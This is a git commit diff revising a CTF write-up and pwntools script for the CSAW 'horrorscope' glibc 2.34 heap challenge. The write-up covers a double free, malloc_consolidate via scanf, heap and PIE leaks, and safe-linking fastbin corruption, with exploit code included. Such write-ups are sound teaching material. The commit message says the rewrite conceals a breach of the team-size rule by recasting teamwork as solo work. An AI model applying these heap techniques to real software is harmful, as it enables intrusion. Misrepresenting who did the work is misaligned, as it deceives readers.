Uh-oh, let's be careful
Maybe it's not a good idea to clearly state that we did not abide by the rules... (The team should be composed of only 4 people)
This commit is contained in:
parent
b4db72d40d
commit
169d050bd0
|
@ -6,13 +6,15 @@ tags: ctf, pwn, heap, csaw
|
|||
|
||||
---
|
||||
|
||||
We found this heap exploitation challenge quite difficult because it took a
|
||||
while for us to discover that in some cases glibc consolidates fastbin chunks.
|
||||
Even after that, we had a hard time figuring out how to use this to write the
|
||||
exploit -- our final script was unnecessarily complex and performed two
|
||||
different consolidations, because our planned attack was very different from the
|
||||
one we used in the end. I'm going to explain a simpler and cleaner version that
|
||||
I wrote after the CTF ended. I will give detailed explanations only of the
|
||||
I worked on this challenge as an exercise after those from our team who
|
||||
participated in the CTF told me that it would be a nice journey through unusual
|
||||
glibc malloc internals. I found this heap exploitation challenge quite difficult
|
||||
because at first glance I had no idea how to solve it; it really took me some
|
||||
time to discover that in some cases glibc consolidates fastbin chunks. Even
|
||||
after that, I had a hard time figuring out how to use this to write the exploit
|
||||
-- the final script was unnecessarily complex and performed two different
|
||||
consolidations. I'm going to explain a simpler and cleaner version that I put up
|
||||
while writing the writeup. I will give detailed explanations only of the
|
||||
functions and memory structures that are more relevant for the exploit.
|
||||
|
||||
Files: [horrorscope](/resources/horrorscope/horrorscope),
|
||||
|
@ -22,15 +24,14 @@ Files: [horrorscope](/resources/horrorscope/horrorscope),
|
|||
## Step 0: setup
|
||||
|
||||
The challenge uses a very recent glibc (2.34) and runs on Ubuntu 21.10. The
|
||||
provided Dockerfile used xinetd and configuration files were missing, so we
|
||||
provided Dockerfile used xinetd and configuration files were missing, so I
|
||||
replaced it with socat and launched the challenge with docker-compose.
|
||||
|
||||
Unfortunately even after installing `libc6-dbg` in the container, debug symbols
|
||||
weren't loaded in GDB and I couldn't use pwngdb heap commands. In the end we
|
||||
worked directly on the laptop of one of us that was running 21.10 natively. I
|
||||
got debugging symbols to work while cleaning up the exploit by copying the
|
||||
entire `/usr/lib/debug` directory from the container to the host and passing
|
||||
`set debug-file-directory ...` to GDB.
|
||||
weren't loaded in GDB and I couldn't use pwngdb heap commands. I got debugging
|
||||
symbols to work while cleaning up the exploit by copying the entire
|
||||
`/usr/lib/debug` directory from the container to the host and passing `set
|
||||
debug-file-directory ...` to GDB.
|
||||
|
||||
## Step 1: looking for vulnerabilities
|
||||
|
||||
|
@ -138,9 +139,9 @@ pwndbg> x/20gx 0x000055555555b380
|
|||
┗━━→ points back to the entry in c
|
||||
```
|
||||
|
||||
Actually, I spent some time trying to convincing my teammates that this is _not_
|
||||
a linked list, it's just some kind of contiguous and uselessly redundant array
|
||||
of pointer to buffers. Someone told me my problem is that I think in Haskell :)
|
||||
Actually, this is _not_ a linked list, it's just some kind of contiguous and
|
||||
uselessly redundant array of pointers to buffers. Well, someone told me my
|
||||
problem is that I think in Haskell even when I shouldn't :)
|
||||
|
||||
We can store at most 33 cookies in `c`, and if we ask for a fortune cookie when
|
||||
the list is full, `delete_cookie` is called. This function is quite hard to
|
||||
|
@ -151,11 +152,11 @@ Assuming `idx` (in the range `0..32`) is the cookie to delete, it basically
|
|||
checks the invariants `c[idx].this->my_entry == &c[idx]`, `c[idx+1].bck ==
|
||||
c[idx].this`, `c[idx].bck == c[idx-1].this`, `c[idx].bck != c[idx].this`.
|
||||
|
||||
Then, `delete_cookie` `free()`s the `cookie_fortune` at `c[idx].this` and
|
||||
then shifts all the entries in the range `(idx+1)..32` backwards by 1 in `c`.
|
||||
It does so with an complex while loop with some special cases for cookie 0 and
|
||||
cookie 32. However, it has a serious flaw: it does not overwrite `c[idx].this`!
|
||||
This is the main vulnerability that will allow us to have a double free.
|
||||
Then, `delete_cookie` `free()`s the `cookie_fortune` at `c[idx].this` and then
|
||||
shifts all the entries in the range `(idx+1)..32` backwards by 1 in `c`. It does
|
||||
so with an complex while loop with some special cases for cookie 0 and cookie
|
||||
32. However, it has a serious flaw: it does not overwrite `c[idx].this`! This is
|
||||
the main vulnerability that will allow us to have a double free.
|
||||
|
||||
Let me explain in more detail. Consider the memory dump above, and suppose we
|
||||
went on filling the list until the end. After `delete_cookie()` has deleted
|
||||
|
@ -227,28 +228,28 @@ option 1 (`ask_8ball`) writes `Oh Magic 8 Ball, ` (17 bytes) in the buffer right
|
|||
before our input, and other functions don't allocate chunks of the same size as
|
||||
`get_cookie`.
|
||||
|
||||
We spent a few hours looking at the pseudocode without any idea. I suggested
|
||||
that if we could consolidate the fastbins maybe we could find a way to corrupt
|
||||
the chunk pointers; however, none of us -- even the most experienced -- thought
|
||||
that fastbins could be consolidated. But while reading the glibc sources in
|
||||
total despair, we discovered that there is a specific function inside `malloc.c`
|
||||
that does exactly this: `malloc_consolidate`. We tried to call it directly from
|
||||
GDB and it did exactly what we expected.
|
||||
I spent a few hours looking at the pseudocode without any idea. I thought that
|
||||
if I could consolidate the fastbin chunks maybe I could find a way to corrupt
|
||||
the chunk pointers; however, someone taught me that fastbins get _never_
|
||||
consolidated... But while reading the glibc sources in total despair, I
|
||||
discovered that there is a specific function inside `malloc.c` that does exactly
|
||||
this: `malloc_consolidate`. `call malloc_consolidate(&main_arena)` in GDB did
|
||||
exactly what I expected.
|
||||
|
||||
We had to find a way to trigger the call to `malloc_consolidate()` that occurs
|
||||
I had to find a way to trigger the call to `malloc_consolidate()` -- it occurs
|
||||
quite rarely in the ptmalloc allocator. It turned out that the easiest way to do
|
||||
that was issuing a largebin-sized allocation request to `malloc()`: see
|
||||
that is to issue a largebin-sized allocation request to `malloc()`: see
|
||||
[`malloc/malloc.c`:3852 in glibc 2.34](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e065785af77af72c17c773517c15b248b067b4ad;hb=ae37d06c7d127817ba43850f0f898b793d42aea7#l3837).
|
||||
|
||||
However we have no control over the size of the chunks allocated by the
|
||||
application and the largest one is smallbin-sized (`malloc(0x390)` in `oracle`).
|
||||
How could we `malloc()` more than 0x400?
|
||||
How can we `malloc()` more than 0x400?
|
||||
|
||||
Well, this is the trick that one of us suggested: some internal libc functions
|
||||
use `malloc` and `free` internally, and `scanf` is one of them. And... the
|
||||
Well, this is the trick that I came up with: some internal libc functions use
|
||||
`malloc` and `free` internally, and `scanf` is one of them. And... the
|
||||
application is reading the user's choices at the menu using `scanf()`! So
|
||||
sending a very large payload at the menu could trigger `malloc_consolidate()`.
|
||||
We were right: sending 1024 `'5'`s successfully consolidated the fastbins.
|
||||
sending a very large payload at the menu could trigger `malloc_consolidate()`. I
|
||||
was right: sending 1024 `'5'`s successfully consolidated the fastbins.
|
||||
|
||||
|
||||
## Step 3: implementing the exploit
|
||||
|
@ -264,11 +265,11 @@ the bug explained above; we will still be able to edit its contents with
|
|||
We will use fastbin corruption to overwrite an address stored at `.data + 0x30`
|
||||
that points to the string `"./oracle.txt"`. This address is passed as a
|
||||
parameter to `open()` in `oracle` (option 6). I mean, why would you want to put
|
||||
a pointer to a static string in a R/W memory segment? It's meant to be pwned! We
|
||||
will overwrite this pointer with the address of `"./flag.txt"`. Choosing option
|
||||
6 will print a random line from `./flag.txt`!
|
||||
a pointer to a static string in a R/W memory segment? It's surely meant to be
|
||||
pwned! We will overwrite this pointer with the address of `"./flag.txt"`.
|
||||
Choosing option 6 will print a random line from `./flag.txt`!
|
||||
|
||||
I will comment [our exploit](/resources/horrorscope/exploit.py)
|
||||
I will comment [the exploit](/resources/horrorscope/exploit.py)
|
||||
step by step (omitting utility functions for brevity).
|
||||
|
||||
Firstly we fill the tcache for chunks of size 0x20, because the only chunk we
|
||||
|
@ -296,6 +297,7 @@ Now we will fill the tcachebin for size 0x80 in the exact same way as above:
|
|||
`create_cookie()` uses `calloc()` internally. Note that we can't just free
|
||||
cookies 0, 1, 2, ... because list corruption will be detected, so we free
|
||||
cookies 1, 3, 5, ...
|
||||
|
||||
```python
|
||||
for i in range(7):
|
||||
delete_cookie(2*i + 1)
|
||||
|
@ -332,12 +334,12 @@ heap_base = read_heap_leak(1)
|
|||
```
|
||||
|
||||
We also need a leak of the program load address, because it is PIE and we will
|
||||
need this leak to know where `.data` is in memory. Remember that each
|
||||
`struct cookie_fortune` contains a pointer to its own entry in `c`: `free()`d
|
||||
cookie fortune buffers still contain it. We will allocate a 0x70-sized buffer
|
||||
with `ask_8ball` where there was a `cookie_fortune` and we will fill the chunk
|
||||
until offset 0x68. When printing it, we will receive 0x68 bytes (our input)
|
||||
followed by the address of an entry in `c`.
|
||||
need this leak to know where `.data` is in memory. Remember that each `struct
|
||||
cookie_fortune` contains a pointer to its own entry in `c`: `free()`d cookie
|
||||
fortune buffers still contain it. We will allocate a 0x70-sized buffer with
|
||||
`ask_8ball` where there was a `cookie_fortune` and we will fill the chunk until
|
||||
offset 0x68. When printing it, we will receive 0x68 bytes (our input) followed
|
||||
by the address of an entry in `c`.
|
||||
|
||||
```python
|
||||
# Will pick up first available chunk in the tcachebin, i.e. cookie 13
|
||||
|
@ -394,8 +396,8 @@ protect_mask = (heap_base >> 12) + 1
|
|||
update_lucky_number(p64(protect_mask ^ (section_data_address + 0x20)))
|
||||
```
|
||||
|
||||
We still have to consume one fastbin still with `get_lucky_num` and then we will overwrite
|
||||
the target pointer without messing up the next quadword.
|
||||
We still have to consume one fastbin still with `get_lucky_num` and then we will
|
||||
overwrite the target pointer without messing up the next quadword.
|
||||
|
||||
```python
|
||||
get_lucky()
|
||||
|
@ -405,8 +407,7 @@ sign(p64(flag_txt) + b'\x0b')
|
|||
Now if you choose option 6 for a few times at the menu you will read a random
|
||||
line from `./flag.txt`!
|
||||
|
||||
Many thanks to Gabriele Digregorio who wrote the final exploit at 4 A.M. in the
|
||||
morning and the messy writeup on Sunday and to Lorenzo Binosi who noticed
|
||||
`malloc_consolidate()` in the glibc sources!
|
||||
Many thanks to Gabriele Digregorio who wrote the exploit with me and to Lorenzo
|
||||
Binosi (whose unmatched heap exploitation lessons missed `malloc_consolidate`)!
|
||||
|
||||
[comment]: # vim: ts=2:sts=2:sw=2:et:nojoinspaces:tw=80
|
||||
|
|
|
@ -5,8 +5,6 @@ context.arch = 'amd64'
|
|||
context.bits = 64
|
||||
context.terminal = ["tmux", "splitw", "-h"]
|
||||
|
||||
sleepy = 0.2
|
||||
|
||||
def create_ball(content):
|
||||
r.sendline(b'1')
|
||||
r.recvuntil(b'magic 8 ball')
|
||||
|
@ -26,7 +24,6 @@ def create_cookie():
|
|||
def delete_cookie(idx):
|
||||
r.sendline(b'2')
|
||||
r.recvuntil(b'Please choose one to delete\n')
|
||||
sleep(sleepy)
|
||||
r.sendline(str(idx).encode())
|
||||
r.recvuntil(b'-----------------------------------------')
|
||||
|
||||
|
@ -37,13 +34,10 @@ def create_lucky_number():
|
|||
|
||||
def update_lucky_number(content):
|
||||
r.sendline(b'8')
|
||||
sleep(sleepy)
|
||||
r.recvuntil(b'[Y/N]')
|
||||
r.sendline(b'Y')
|
||||
sleep(sleepy)
|
||||
r.recvuntil(b'number')
|
||||
r.sendline(content)
|
||||
sleep(sleepy)
|
||||
|
||||
def delete_lucky_number():
|
||||
r.sendline(b'8')
|
||||
|
@ -55,7 +49,6 @@ def delete_lucky_number():
|
|||
def read_binary_leak(idx):
|
||||
r.sendline(b'4')
|
||||
r.recvuntil(b'Please enter a fortune index\n > ')
|
||||
sleep(sleepy)
|
||||
r.sendline(str(idx).encode())
|
||||
r.recvuntil(b' ')
|
||||
r.recv(104)
|
||||
|
@ -66,7 +59,6 @@ def read_binary_leak(idx):
|
|||
def read_heap_leak(idx):
|
||||
r.sendline(b'4')
|
||||
r.recvuntil(b'Please enter a fortune index\n > ')
|
||||
sleep(sleepy)
|
||||
r.sendline(str(idx).encode())
|
||||
r.recvuntil(b' ')
|
||||
s = r.recv(5) + b'\x00\x00\x00'
|
||||
|
@ -75,31 +67,25 @@ def read_heap_leak(idx):
|
|||
|
||||
def sign(payload):
|
||||
r.sendline(b'0')
|
||||
sleep(sleepy)
|
||||
r.recvuntil(b'sign')
|
||||
r.sendline(payload)
|
||||
sleep(sleepy)
|
||||
r.recvuntil(b'-----------------------------------------')
|
||||
|
||||
def get_lucky():
|
||||
r.sendline(b'7')
|
||||
sleep(sleepy)
|
||||
r.recvuntil(b'name')
|
||||
r.sendline(b'aaa')
|
||||
r.recvuntil(b'-----------------------------------------')
|
||||
|
||||
if args.REMOTE:
|
||||
r = connect("pwn.chal.csaw.io", 5010)
|
||||
r = connect("127.0.0.1", 2050) # Docker instance
|
||||
if args.NOGDB:
|
||||
log.info('Skipping debugger')
|
||||
else:
|
||||
r = connect("127.0.0.1", 2050) # Docker instance
|
||||
if args.NOGDB:
|
||||
log.info('Skipping debugger')
|
||||
else:
|
||||
gdb.debug(['./horrorscope'], '''
|
||||
set debug-file-directory /home/tito/csaw/horrorscope/dbginfo
|
||||
''')
|
||||
log.info("Attach debugger to process running in Docker")
|
||||
ui.pause()
|
||||
gdb.debug(['./horrorscope'], '''
|
||||
set debug-file-directory /home/tito/csaw/horrorscope/dbginfo
|
||||
''')
|
||||
log.info("Attach debugger to process running in Docker")
|
||||
ui.pause()
|
||||
|
||||
r.recvuntil(b'-----------------------------------------')
|
||||
|
||||
|
|
Loading…
Reference in New Issue